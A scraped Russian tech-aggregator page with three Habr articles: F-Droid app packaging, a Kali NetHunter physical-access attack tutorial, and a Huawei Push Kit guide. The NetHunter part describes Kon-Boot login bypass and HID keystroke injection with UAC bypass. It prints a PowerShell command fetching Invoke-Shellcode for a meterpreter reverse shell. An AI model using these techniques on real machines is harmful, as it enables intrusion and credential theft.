Русский
Русский
English
Статистика
Реклама

Android apps

Упаковка приложения в F-Droid

10.09.2020 12:19:55 | Автор: admin


tl;dr: упаковываю и отправляю приложение без троянов для управления своими лампами в F-Droid без каких-либо знаний в разработке для Android.

У меня есть политическая позиция, я сторонник СПО во многом согласен со Столлманом. Как это часто бывает, такая позиция дополняется лёгкой паранойей. Я стараюсь избавляться от проприетарных приложений, особенно, если они работают через сторонние сервера.

А ещё у меня есть умные лампы Xiaomi Yeelight, которые контролируются приложением, работающим через сервера Xiaomi. Но в нём есть возможность включить в лампе API, работающее внутри локалки. Чтобы чувствовать себя спокойней, я пошёл искать приложение в Github и Gitlab и теперь намереваюсь продвинуть его в F-Droid, чтобы поддержать наше параноидальное сообщество.

Сборка и проверка


Для того, чтобы приложение попало в каталог, оно должно хотя бы собираться и, по-хорошему, работать. Мой выбор оказался скудным, а на Gitlab ничего не нашлось ни одного приложения. Из доступных приложений я смог собрать лишь два, а запустилось в итоге только одно из них. Я очень далёк от разработки под Android, за несколько дней я освоил только простую сборку с помощью Gradle, её дальше и опишу.

Нам понадобится: git, Java Runtime Environment, Android SDK, Android Debugging Bridge и свежий Gradle. JRE, ADB и git для Debian Testing можно установить из пакетов apt install git adb openjdk-11-jre-headless.

Android SDK обычно устанавливается вместе с Android Studio, но я воспользовался консольной утилитой sdkmanager:

unzip commandlinetools-linux-6609375_latest.zipexport PATH=$PATH:$PWD/tools/bin/mkdir android-sdkexport ANDROID_SDK_ROOT=$PWD/android-sdk/

Если вам показалось, что я пропустил установку собственно Android SDK, то вам не показалось. Потом объясню. В репозиториях Debian лежит протухшая версия Gradle, сборка с ней не работает, свежую тоже придётся устанавливать с сайта:

wget https://services.gradle.org/distributions/gradle-6.6.1-bin.zipunzip gradle-6.6.1-bin.zipexport PATH=$PATH:$PWD/gradle-6.6.1/bin/

Репозиторий я форкнул к себе и почистил автосгенерированный мусор. Собирается всё так:

yes | sdkmanager --licenses --sdk_root=$ANDROID_SDK_ROOTgit clone https://github.com/asz/OpenLight.gitcd OpenLight/gradle wrapper./gradlew assemble

Первой командой принимаем оптом принимаем все лицензионные условия, как того требует sdkmanager для неинтерактивной установки. При автогенерации обёртки (gradle wrapper) Gradle сам распарсит и установит все необходимые зависимости. Скачивание нужной версии Android SDK, сборочного инструментария и других специфичных для Android зависимостей выполняется именно с помощью sdkmanager, поэтому руками это делать не обязательно, а лицензии придётся принять заранее.

image

Самое время включить API в официальном приложении. Включите в смартфоне отладку по USB, подключите его к компьютеру и устанавливайте сгенерированный отладочный пакет: adb install app/build/outputs/apk/debug/app-debug.apk. Не забудьте разрешить отладку с вашего компьютера во всплывающем окне на телефоне. Если приложение на телефоне демонстрирует признаки жизни, то можно продолжать.

Подготовка патча в F-Droid


У F-Droid есть правила для включения приложения в каталог. Основные довольно простые: никаких несвободных зависимостей сборки, проблемы с приватностью и любые несвободные зависимости самого приложения должны быть помечены. Я не стал проверять зависимости самостоятельно, ведь у F-Droid есть CI и собственная система сборки, это позволяет просто прогнать коммит через пайплайн.

Теперь пойдём на GitLab, где ведётся разработка F-Droid. Сначала обязательно проверьте, что вашим приложением ещё никто не занимается. Подобная активность сосредоточена в запросах на упаковку и в запросах на слияние. Форкайте репозиторий Data и клонируйте его из своего профиля.

Для того, чтобы приложение оказалось в F-Droid, достаточно одного YML-файла. Найдите любой подходящий YML-файл в подкаталоге metadata/ вашего репозитория и скопируйте его в аналогичном формате: applicationId.yml. Значение applicationId для вашего приложения можно достать из какого-нибудь build.gradle его же репозитория, в моём случае из app/build.gradle. Не помню, какой из файлов я взял в качестве референса, покажу лишь итоговый файл metadata/grmasa.com.open_light.yml:

AntiFeatures:
- NonFreeDep
Categories:
- Connectivity
License: GPL-2.0-or-later
AuthorWebSite: https://github.com/grmasa
SourceCode: https://github.com/grmasa/Open_light
IssueTracker: https://github.com/grmasa/Open_light/issues
Changelog: https://github.com/grmasa/Open_light/tags

AutoName: Open Light
Summary: Control Xiaomi Yeelight WiFi smart bulbs
Description: |-
Control Xiaomi Yeelight smart bulbs within your Local Area Network.
Only fits WiFi controlled bulbs.

This app requires enabled LAN control for bulbs: open the official app, set up
all the bulbs, go to LAN control in the menu, and enable it for every device.

RepoType: git
Repo: https://github.com/grmasa/Open_light.git

Builds:
- versionName: 1.1.2
versionCode: 1
commit: v1.1.2
subdir: app
gradle:
- yes

AutoUpdateMode: Version v%v
UpdateCheckMode: Tags
CurrentVersion: 1.1.2
CurrentVersionCode: 1


Мне было сложно выбрать конкретную AntiFeature, но доскональная точность не требуется, указал NonFreeDep. Категория Connectivity подходит для приложений-компаньонов устройств. Ключ Build описывает, из какого коммита/тега собирать приложение. versionCode также можно найти в build.gradle. Если вы не хотите обновлять приложение вручную, то можно заполнить UpdateCheckMode и AutoUpdateMode (v%v описывает формат тега).

Для базовой проверки файла потребуется утилита fdroid из репозитория F-Droid Server, его зависимости и переменная ANDROID_HOME:

git clone https://gitlab.com/fdroid/fdroidserver.gitexport PATH=$PATH:$PWD/fdroidserverapt -y install python3-git python3-pyasn1 python3-pyasn1-modules python3-yaml python3-requestsexport ANDROID_HOME=$ANDROID_SDK_ROOT

Можно вернуться в директорию fdroiddata и проверить, рабочие ли метаданные:

fdroid readmetafdroid lint grmasa.com.open_lightfdroid build -v -l grmasa.com.open_light

Первые две команды проверяют синтаксис, третья собирает приложение. На выходе у вас должен появиться APK: unsigned/grmasa.com.open_light_1.apk.

Можно на всякий случай запустить fdroid checkupdates grmasa.com.open_light для проверки обновлений и fdroid rewritemeta grmasa.com.open_light для корректного перезаполнения файла с метаданными, после чего перепроверить сборку.

Почти счастливый конец


Теперь можно коммитить и проверять пайплайн Gitlab CI. У меня всё прошло!

Я заполнил Merge Request, его проверили и попросили уведомить автора оригинального приложения. Если автор будет игнорировать меня больше двух недель, я просто перепишу ссылки в метаданных на свой форк и тогда его примут.

image

Теперь я могу убрать подальше свой специальный телефон для троянов. И у меня даже останется возможность извращённым образом управлять ими из интернета даже забанив им локалку!

Как ни печально, в иллюстрации в заголовке есть доля правды. В приложении обнаружился неприятный баг на втором шаге визарда: из списка обнаруженных ламп, чаще всего добавляется не та, которую я выбрал. Из-за этого лампы в основном списке. Чтобы обойти эту проблему, я заводил лампы в приложение поочерёдно. Надеюсь, когда-нибудь я разберусь, в чём проблема, или упакую другое приложение.



Подробнее..

Kali Linux NetHunter на Android Ч.3 нарушение дистанции

31.07.2020 18:06:20 | Автор: admin


Приветствую тебя, мой читатель! Надеюсь, что предыдущие части (первая и вторая) из цикла статей про Nethuter тебе понравились. Сегодня мы сосредоточим внимание на атаках, когда сам атакующий имеет непосредственный (физический) доступ к компьютеру жертвы. Итак, поехали.

DriveDroid


DriveDroid приложение, которое позволяет вашему устройству прикидываться CD/DVD-приводом или USB-флешкой. Оно не входит в состав Nethunter, но находится в магазине приложений Nethunter (в Play Market, кстати, тоже есть). И естественно, приложение требует для работы root-права.

С помощью DriveDroid можно эмулировать ISO- и IMG-файлы образов. Также приложение умеет создавать пустые файлы-образы фиксированного размера (задается пользователем) и эмулировать их с возможностью чтения/записи, что пригодится нам чуть дальше.

При первом запуске приложение необходимо настроить. Последовательно будут отображены экраны, на каждом из которых надо будет совершить определенное действие: предоставить root-права, указать директорию для образова, выбор системы работы с USB, и т.д. В целом настройка напоминает старый принцип далее-далее-далее-ок, поэтому останавливаться на ней не будем. Добавлю только, что если монтирование проходит некорректно, нужно поменять систему работы с USB, там было несколько вариантов на выбор (более предпочтительный вариант находится сверху).



Рис.1. Настройка и интерфейс DriveDroid.

Теперь мы можем монтировать различные образы и загружаться с них. Изначально доступен только один тестовый образ Drive Droid Boot Tester. При нажатии на него появляется несколько вариантов монтирования:

  • как флешку в режиме чтения,
  • как флешку в режиме чтение/запись,
  • как привод с оптическим диском.

Выбираем любой понравившийся вариант для монтирования (я выбирал read-only usb), перезагружаем компьютер, в BIOS меняем приоритет загрузки устройств, чтобы загрузка с внешних устройств была предпочтительнее (да-да, точно как с переустановкой Windows:) ). Если все сделано правильно, то компьютер загрузится с эмулированного тестового образа (ты сразу поймешь, что это именно он).


Рис.2. Экран загрузки с тестового образа DriveDroid.

Данное приложение позволяет нам на компьютере жертвы загрузиться через какой-нибудь LiveCD и, если на машине не установлено шифрование жесткого диска, скачать нужные файлы. В принципе, можно выполнить любое действие, которое позволяет эмулированный LiveCD: выполнить проверку на вирусы, переразметить разделы, установить ОС и другие возможные варианты.

Особо хочется отметить средство Kon-Boot, которое позволяет обходить авторизацию на Windows и Mac машинах. Release note для Windows тут и для Mac тут. Утилита для Windows в последних версиях даже умеет обходить онлайн авторизацию на Windows 10. Но не стоит сильно радоваться, так как утилита платная, и ее стоимость начинается от 25$ за персональную лицензию для одной из ОС. Придется потрясти любимую свинью-копилку. Алгоритм использования прост:

  • Монтируем образ утилиты с помощью DriveDroid;
  • Загружаемся с него (изменяем приоритет загрузки в BIOS, если понадобится), потом загрузчик Kon-Boot начинает запуск Windows;
  • Выбираем любого пользователя и заходим под ним с пустым паролем.

Видео с демонстрацией работы (не мое) можно посмотреть тут.

User experience
Я тестировал работу утилиты (Kon-Boot 2.4) на Windows 7 home extended с последними обновлениями. Авторизация под локальным администратором проходила успешно. Правда немного пришлось повозиться с получением компактного образа для DriveDroid. Я создал пустой IMG-файл размером 30 Мб, примонтировал его через опцию Writable USB. Мой компьютер распознал его как обычную флешку, и через утилиту от разработчиков записал Kon-Boot на эту флешку-образ.

HID атаки


Nethunter имеет несколько встроенных инструментов для проведения HID-атак (human interface device). Для проведения данных атак необходим непосредственный доступ к атакуемой машине и возможность выполнения на ней некоторых действий (система должна быть разблокирована). HID-атаки воспринимаются системой, как легитимное поведение пользователя. Антивирусное ПО, как правило, на саму атаку не срабатывает, но может сработать на используемую нагрузку. Например, при загрузке вредоносного файла или при загрузке некодированного файла для проброса сессии meterpreter. Таким образом можно сократить время рутинных операций во время атаки, что крайне полезно в условиях ограниченного времени доступа к атакуемой машине.

Про язык ввода
Поскольку данные атаки имитируют нажатие клавиатуры, то они прекрасно работают там, где установлен только один язык ввода. И это, естественно, английский. Атакующему необходимо предусмотреть смену раскладки: прописать в скрипте (возможно для Ducky Script) или переводить язык вручную (для HID Attacks из приложения Nethunter). Иначе при запросе выполнения команды можно получить что-то типа этого:


Рис.3. Результат выполнения команды без предварительной смены раскладки.

Также, возможно, понадобится несколько раз менять раскладку. Например: первый раз на рабочем столе, второй раз при запуске командной строки. Все это зависит от настроек на атакуемой машине.

Ducky Script


Ducky Script скриптовый язык, с помощью которого можно составить сценарий действий, выполняемых от имени пользователя. Подключенное устройство с программой-интерпретатором посылает сигналы на компьютер, имитируя ввод с клавиатуры и мыши. Ducky Script используется для устройства USB Rubber Ducky (сейчас на Amazon стоит порядка 120$).


Рис.4. Комплект устройства USB Rubber Ducky.

В Nethunter есть встроенный интерпретатор (приложение NetHunter вкладка DuckHunter HID), но заставить его корректно работать у меня не удалось.


Рис.5. Nethunter DuckHunter HID.

Зато в NetHunter Store есть приложение Rucky (v 1.9), которое также является интерпретатором Duck Script. Приложение прекрасно отправляет ввод с клавиатуры и нажатия клавиш, но указатель мыши у меня так и не начал двигаться.

Открываем приложение Rucky, пишем скрипт на запуск Chrome со ссылкой и запускаем.


Рис.6. Rucky. Скрипт запуска Chrome.


Как выполнение Ducky Script выглядит на машине.

Вот здесь собраны примеры скриптов. Быстро установить на обои хот-доги или украсть пароли из Chrome и отправить на email Возможности есть на все, на что фантазии хватит!

HID Attacks


В приложении Nethunter есть вкладка HID Attacks. Атаки из этой группы работают по принципу устройство имитирует ввод с клавиатуры, но ориентированы они на определенные паттерны. Плюсом является то, что есть опция UAC Bypass (для Win7, Win8, Win10), при использовании которой командная строка запускается от администратора. Соответственно, вы должны быть залогинены, как минимум под локальным администратором, чтобы не пришлось вводить данные учетной записи администратора.


Рис.7. UAC bypass.

Что сделать, чтобы заработали атаки
Для того, чтобы атаки заработали, необходимо подключить устройство как MIDI.


Рис.8. Подключение устройства как MIDI.

Рассмотрим паттерны в HID Attacks.

Powersploit

Данный паттерн ориентирован на запуск Powershell скрипта с удаленной машины, который должен пробросить meterpreter shell с атакуемой машины.


Рис. 9. Nethunter-HID Attacks-PowerSploit.


Рис. 10. Результат выполнения в командной строке.

iex (New-Object Net.WebClient).DownloadString("http://192.168.1.45:80/Invoke-Shellcode.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost 192.168.1.45 -Lport 8080 -Force

Результат декодирования BASE64 строки.

Как видно из скриншота, атака у меня не удалась из-за проблем выполнения скрипта. По указанным параметрам я определил, что скорее всего должен использоваться Invoke-Shellcode.ps1 из репозитория EmpireProject. Cкрипт Invoke-Shellcode.ps1 или репозитория PowerSploit обновлен и в нем нет параметра Payload. Использование старой подходящей версии скрипта представлено на рис. 10.

В закодированной BASE64 строке представлены все наши параметры из окна приложения. Если что-то будете менять, не забудьте про кнопку UPDATE внизу, это важно.

Таким образом, ждем, пока разработчики обновят эту часть приложения Nethunter.

Windows CMD

Тут все просто. В данном паттерне запускается командная строка и последовательно выполняются команды, указанные в параметре скрипта. Также можно запускать командную строку от администратора, можно сохранять и загружать сохраненные скрипты. И не забываем про кнопочку UPDATE.


Рис. 11. Nethunter HID Attacks Windows CMD.


Рис. 12. Результат выполнения в командной строке.

Примечание
Первая строка должна начинаться с символа *, иначе пропадает первая буква команды. Например, вместо ipconfig будет введено pconfig. Вот просто потому что:)

Powershell HTTP Payload

Данный паттерн должен загружать powershell нагрузку и выполнять ее. Но он не заработал у меня вообще: при запуске атаки никакие действия не происходили, а логи веб-сервера, на котором был скрипт с нагрузкой, остались пусты.


Рис.13. Nethunter HID Attacks Powershell HTTP Payload.

И небольшой бонус для тех, кто дочитал :)

KeX manager

Полноценный десктопный интерфейс Kali Linux, да-да! Nethunter имеет встроенный VNC-сервер (Virtual Network Computing система удалённого доступа к рабочему столу компьютера). Настраивается все очень просто. В приложени Nethunter во вкладке KeX Manager нажимаем на кнопку SETUP LOCAL SERVER и устанавливаем пароль для нашего сервера. Теперь нажимаем START SERVER, статус сервера изменился на RUNNING. Нажимаем на OPEN KEX CLIENT, вводим заданный ранее пароль, и у нас запускается десктопный интерфейс.


Рис.14. Настройка и подключение к VNC-серверу.


Рис.15. Результат подключения к VNC-серверу.

Если мы хотим подключиться с другого устройства, необходимо, чтобы галочка Localhost Only была снята и клиент мог достучаться до сервера. Перезапускаем сервер. И с помощью VNC-клиента на другом устройстве подключаемся, указав IP устройства Nethunter и порт 5901 (например, 192.168.1.3:5901). Потом вводим ранее установленный пароль, и вот мы подключились!


Рис.16. Результат подключения к VNC-серверу с другого устройства.

Примечание
Cудя по информации с этой страницы для безопасного (шифрованного) соединения лучше использовать VeNCrypt клиент.

На этом пока что все. Помни, все только в образовательных целях :) До скорого!

Подробнее..

Как устроен Push Kit от Huawei

28.09.2020 10:23:58 | Автор: admin

Привет, Хабр! В мае прошлого года, оставшись без сервисов и API гугла, мы основательно взялись за работу над своей платформой Huawei Mobile Services. Это наш давний проект, к которому мы вернулись после введения американских санкций. Проблема отрезанных сервисов постепенно сошла на нет. Мы добавили недостающие компоненты: почтовый клиент, свои карты и другие сервисы, и HMS Core набор API, SDK и прочих сервисов для разработки, и улучшения приложений. В этот набор входит Push Kit облачная служба для рассылки уведомлений и не только. Под катом расскажем, как устроен этот инструмент, чем выделяется и как его можно использовать.

Главная функция Push Kit (об остальных поговорим дальше) доставлять на устройство пользователя уведомления от приложений. Этот процесс организован так:

  • сервер приложения подключается к API-интерфейсу Push Kit и загружает туда зашифрованные сообщения;

  • из облака Push Kit сообщения пересылаются на устройство с целевым приложением.

Кроме того, у Push Kit есть множество интересных и полезных фич:

  • Таргетирование рассылки по темам сообщений и другим критериям, в том числе с помощью Huawei Analytics Kit;

  • Отправка пуш-сообщений на основе сценариев одному или нескольким пользователям одновременно, рассылка по расписанию;

  • Отправка пуш-сообщений через консоль в интерфейсе AppGallery Connect.

  • Доступ к серверу Push Kit через HTTPS;

  • Отправка пуш-сообщений пользователям, которые пользуются разными профилями на одном Android-устройстве;

  • Отправка пуш-сообщений на устройства Android/iOS и веб-приложения;

  • Автоматический выбор языка пуш-сообщения в зависимости от языка системы устройства получателя;

  • Кэширование и повторная отправка в случае, если пуш-сообщение не доставлено из-за отсутствия сети.

Что и как можно послать через Push Kit

С помощью Push Kit можно не только доставлять уведомления, но и передавать данные напрямую в приложение. В этом случае на пользовательское устройство приходит послание, которое активирует в программе-адресате определённое действие. Функция может оказаться полезной, например, для соцсетей, когда вы получаете запрос добавиться в друзья или входящие вызовы по VoIP. Кроме того, с её помощью можно загружать в сообщения в мессенджеры, чтобы они уже были внутри, когда вы запустите программу.

Но всё-таки главной задачей является доставка пуш-уведомлений, внешний вид которых настраивается через интерфейс Push Kit. Это может быть обычный текст, текст с большой или маленькой картинкой, с иконкой приложения и т. д. Можно менять размеры элементов и их расположение, выбирать тип звукового сигнала, а также программировать сценарии действия, которые выполняются, когда пользователь открывает уведомление.

Если группа уведомлений от одного приложения в статус-баре свёрнута, по умолчанию в нём будут показаны первые два пуша их количество можно расширить до восьми. Такая группа может содержать до 24 пуш-уведомлений в EMUI 10 и до 49 в EMUI 9. Если сообщений больше, будет виден счётчик оставшихся уведомлений и следующее появится только после удаления одного из отображаемых пушей.

Имя пакета, отправляемого Push Kit, может содержать до 128 байт, а максимальный размер сообщения составляет 4 Кб.

Если у целевого устройства нет проблем с сетью, доставка пушей должна происходить не дольше, чем за 1 секунду. Если же девайс получателя не в сети, Push Kit кеширует сообщение и отправляет его после того, как устройство переходит в онлайн.

Особенности Push Kit

Уведомления через Push Kit приходят быстро и снижают энергопотребление устройства. Операционки большинства мобильных девайсов автоматически закрывают приложения, которые долгое время не проявляют активности. Но чтобы программа могла показывать свои пуши, зачастую ей нужно работать хотя бы в фоне. Так что системе приходится перезапускать нужный ей софт, чтобы вывести пуш на экран.

Push Kit позволяет этого не делать: сообщения попадают в его центр уведомлений (NC), минуя целевые приложения. За это отвечает специальный компонент под названием Push Service. В итоге программа запускается только тогда, когда это предусмотрено сценарием, например после нажатия на уведомление.

Отсюда и высокая скорость доставки: благодаря Push Service пользователь может прочитать сообщение практически сразу после того, как оно попадёт на телефон.

Push Kit предоставляет канал системного уровня, способный одновременно отправлять десятки миллионов сообщений в секунду и десятки миллиардов в день. При этом 99 % пушей доставляются пользователям в течение 10 минут, даже если приложение не запущено. По сути, уведомления не доходят, только если устройство получателя выключено или находится вне сети.

Push Service устанавливается на все мобильные устройства с EMUI, так что на них уведомления отображаются в унифицированном виде.

Служба Центр уведомлений доступна на некоторых устройствах Huawei с EMUI 4 и на всех начиная с EMUI 5. А вот на гаджетах сторонних производителей эта функция недоступна, но если установить на них HMS Core, эти телефоны тоже научатся принимать уведомления, отправленные через Huawei Push Kit. Увы, из-за системных ограничений скорость доставки на телефоны других марок может снизиться.

Push Kit поддерживает основные кроссплатформенные среды разработки мобильных приложений, включая React Native, Cordova, Xamarin и Flutter. Чтобы разрабатывать на одном языке приложение, которое будет работать и на iOS, и на Android, нужно только интегрировать соответствующий пакет подключаемого модуля SDK.

После получения сообщений через Push Kit пользовательские устройства информируют об этом ваш сервер, помогая отслеживать ход рассылки в режиме реального времени. Благодаря этому можно быть в курсе статуса каждого уведомления и иметь возможность оперативно реагировать на неудачную доставку. Например, отправить SMS человеку, до которого не доходят пуши.

Push Kit автоматически показывает пуши на языке, который установлен в устройстве пользователя. Охват Push Kit более 200 стран и регионов, поэтому такая функция будет очень полезна.

Под капотом Push Kit: немного практики

Чтобы воспользоваться сервисом, надо зарегистрировать аккаунт разработчика на сайте Huawei Developers. Кроме этого понадобятся:

  • компьютер на Windows с установленным пакетом Java JDK 1.8, Android Studio и Android SDK;

  • смартфон Huawei с USB-кабелем и установленным HMS Core не ниже 4-й версии.

На схеме показан процесс разработки приложения под Android. iOS и веб-приложения поддерживаются в бета-режиме.

Первым делом:

  • создаём приложение в AppGallery Connect и проект в Android Studio;

  • генерируем криптографический ключ SHA-256;

  • сохраняем файл конфигурации приложения;

  • подключаем к приложению модуль AppGallery Connect;

  • добавляем репозиторий Maven в файл build.gradle.

Подробнее об этих шагах можно почитать здесь, правда, на английском.

Важный момент: чтобы использовать Push Kit для веб-приложений, нужно настроить его через приложение для Android. Кроме того, существуют Quick Apps приложения, не требующие установки, которые можно использовать на мобильных телефонах более 12 крупных производителей в Китае. Все они доступны в AppGallery и поддерживают Push Kit.

Чтобы использовать Push Kit, укажите место для хранения данных вашего проекта. Если его не задать, будут недоступны таргетирование по темам сообщений, рассылка через агент WebPush и работа с iOS.

Если место хранения данных отличается от местоположения вашего сервера или региона пользователя, время доставки пушей увеличится.

Чтобы уменьшить задержку, есть смысл хранить данные неподалёку от пользователей. Например, если вы в России разрабатываете приложение для жителей из Евросоюза, оптимальным местом для сервера будет Германия.

Интеграция HMS Core SDK

Добавим файл конфигурации вашего приложения в AppGallery Connect.

  1. В AppGallery Connect кликаем My project.

  2. Находим и выбираем приложение, в которое хотим интегрировать HMS Core SDK.

  3. Переходим в Project Setting General information. В App information загружаем файл agconnect-services.json.

  4. Копируем файл agconnect-services.json в корневой каталог приложения нашего проекта Android Studio.

Добавим связи сборки. Для этого открываем файл build.gradle в каталоге приложения.

Прописываем в разделе dependencies:

dependencies {    implementation fileTree(dir: 'libs', include: ['*.jar'])    implementation 'androidx.appcompat:appcompat:1.0.2'    implementation 'androidx.constraintlayout:constraintlayout:1.1.3'    testImplementation 'junit:junit:4.12'    androidTestImplementation 'androidx.test:runner:1.1.1'    androidTestImplementation 'androidx.test.espresso:espresso-core:3.1.1'    // Add the following line    implementation 'com.huawei.hms:push:5.0.0.300'}

5.0.0.300 заменим на последнюю версию HMS Core Push SDK.

Нажимаем Sync Now, чтобы синхронизировать файл build.gradle.

Если отображается synced successfully, всё прошло хорошо.

Настройка файла Manifest

Чтобы устройства могли получать токен push и сообщения, отправленные сервером Push Kit, нужно изменить файл AndroidManifest.xml. Определяем класс MyPushService, он наследуется от класса HmsMessageService.

<service    android:name=".MyPushService"    android:exported="false">    <intent-filter>        <action android:name="com.huawei.push.action.MESSAGING_EVENT" />    </intent-filter></service>

В этом примере кода нужно только изменить MyPushService в android: name = ". MyPushService" на имя класса, наследуемого от класса HmsMessageService. Всё остальное сохраняем.

Настройка сценариев шифрования

Открываем файл конфигурации обфускации proguard-rules.pro проекта Android Studio. Добавляем параметры, исключающие из этого процесса HMS Core SDK.

-ignorewarnings-keepattributes *Annotation*-keepattributes Exceptions-keepattributes InnerClasses-keepattributes Signature-keepattributes SourceFile,LineNumberTable-keep class com.hianalytics.android.**{*;}-keep class com.huawei.updatesdk.**{*;}-keep class com.huawei.hms.**{*;}

Если мы используем AndResGuard, его надо добавить в список разрешений в файле c конфигурацией обфускации.

"R.string.agc*","R.string.hms*","R.string.connect_server_fail_prompt_toast","R.string.getting_message_fail_prompt_toast","R.string.no_available_network_prompt_toast","R.string.third_app_*","R.string.upsdk_*","R.layout.hms*","R.layout.upsdk_*","R.drawable.upsdk*","R.color.upsdk*","R.dimen.upsdk*","R.style.upsdk*"

Разрабатываем демо

Ниже показан общий код проекта и структура ресурсов.

Открываем наш проект в Android Studio, создаём виджет и разворачиваем TextView в MainActivity, чтобы отобразить токен. Там же, в MainActivity, программируем метод обновления токена в TextView.

public class MainActivity extends AppCompatActivity {    private TextView tvToken;    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_main);        tvToken = findViewById(R.id.tv_log);        MyReceiver receiver = new MyReceiver();        IntentFilter filter=new IntentFilter();        filter.addAction("com.huawei.codelabpush.ON_NEW_TOKEN");        MainActivity.this.registerReceiver(receiver,filter);    }    public class MyReceiver extends BroadcastReceiver {        @Override        public void onReceive(Context context, Intent intent) {            if ("com.huawei.codelabpush.ON_NEW_TOKEN".equals(intent.getAction())) {                String token = intent.getStringExtra("token");                tvToken.setText(token);            }        }    }}

Для подачи заявки на токен объявляем <meta-data> в файле AndroidManifest.xml.

<application    <meta-data        android:name="push_kit_auto_init_enabled"        android:value="true" /></application>

Name и value в meta-data копируем без изменений. Push SDK будет подавать заявку на получение токена при запуске приложения.

Токен получается методом onNewToken в thMyPushService*ce class.

MyPushService.java

public class MyPushService extends HmsMessageService {    private static final String TAG = "PushDemoLog";    @Override    public void onNewToken(String token) {        super.onNewToken(token);        Log.i(TAG, "receive token:" + token);        sendTokenToDisplay(token);    }    private void sendTokenToDisplay(String token) {        Intent intent = new Intent("com.huawei.push.codelab.ON_NEW_TOKEN");        intent.putExtra("token", token);        sendBroadcast(intent);    }}

Класс MyPushService наследуется от HmsMessageService. Он, в свою очередь, переопределяет метод для подтверждения онлайн-статуса устройства onNewToken.

Сборка, загрузка и отладка приложения

Подключаем телефон Huawei к компьютеру.

Способ 1. Нажимаем Play (зелёный треугольник), чтобы начать компиляцию и сборку. Устанавливаем APK на телефон.

Способ 2. Используем Android Studio, чтобы упаковать APK.

Затем используем инструмент ADB, чтобы установить APK на телефон для отладки.

adb install D:\WorkSpace\CodeLab\pushdemo1\app\release\app-release.apk

После запуска демо убеждаемся, что телефон подключён к сети. Метод onNewToken вызываетсядлявозврататокенаAFcSAHhhnxdrMCYBxth2QOG9IgY2VydAM61DTThqNux3KBC_hgzQQT*******.

Токен записывается в журнал демонстрации. Его можно просмотреть, найдя PushDemoLog.

Отправка пуш-уведомлений

В интерфейсе Push Kit в AppGallery Connect можно редактировать сообщения и отправлять их на устройства, подключённые к сети. Перед отправкой уведомлений находим приложение по названию. В этом примере имя APK com.huawei.codelabpush. Подробнее можно прочитать здесь.

Если всё прошло удачно, на экране телефона увидим уведомление.

Коммерческие возможности Push Kit

Почти все известные нам российские кейсы связаны с банковскими учреждениями.

Первой отечественной и второй в мире компанией, интегрировавшей наш Push Kit, стала mfms: их решения по доставке пуш-уведомлений используют ВТБ, Альфа-Банк, Сбер и другие финансовые учреждения России.

Например, в ВТБ пушами клиентам сообщают о денежных операциях в реальном времени. Такие уведомления стоят сильно дешевле SMS, а затраты на внедрение минимальны: с SDK, которое предоставляет mfms, не надо интегрировать APNs, FCM и Huawei Push Kit с нуля.

Пуши используются не только для рассылки. На основе Push Kit в mfms разработали фичу, которая позволяет клиентам банков получать уведомления с подтверждением денежных операций. Такие сообщения рассылаются через SDK и заменяют SMS с кодами для оплаты. Более того, mfms научились превращать эти пуши в красивые уведомления на русском языке с брендированным названием, логотипом и категорией магазина, в котором пользователь совершил оплату.

Какие ещё сферы применения можно найти для пуш-уведомлений и как извлечь из Push Kit больше пользы вопросы не такие уж и сложные, но для нас чрезвычайно интересные. Давайте их обсудим в комментариях: ждём ваши идеи, варианты использования платформы или, возможно, предсказания о будущем пуш-уведомлений.

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru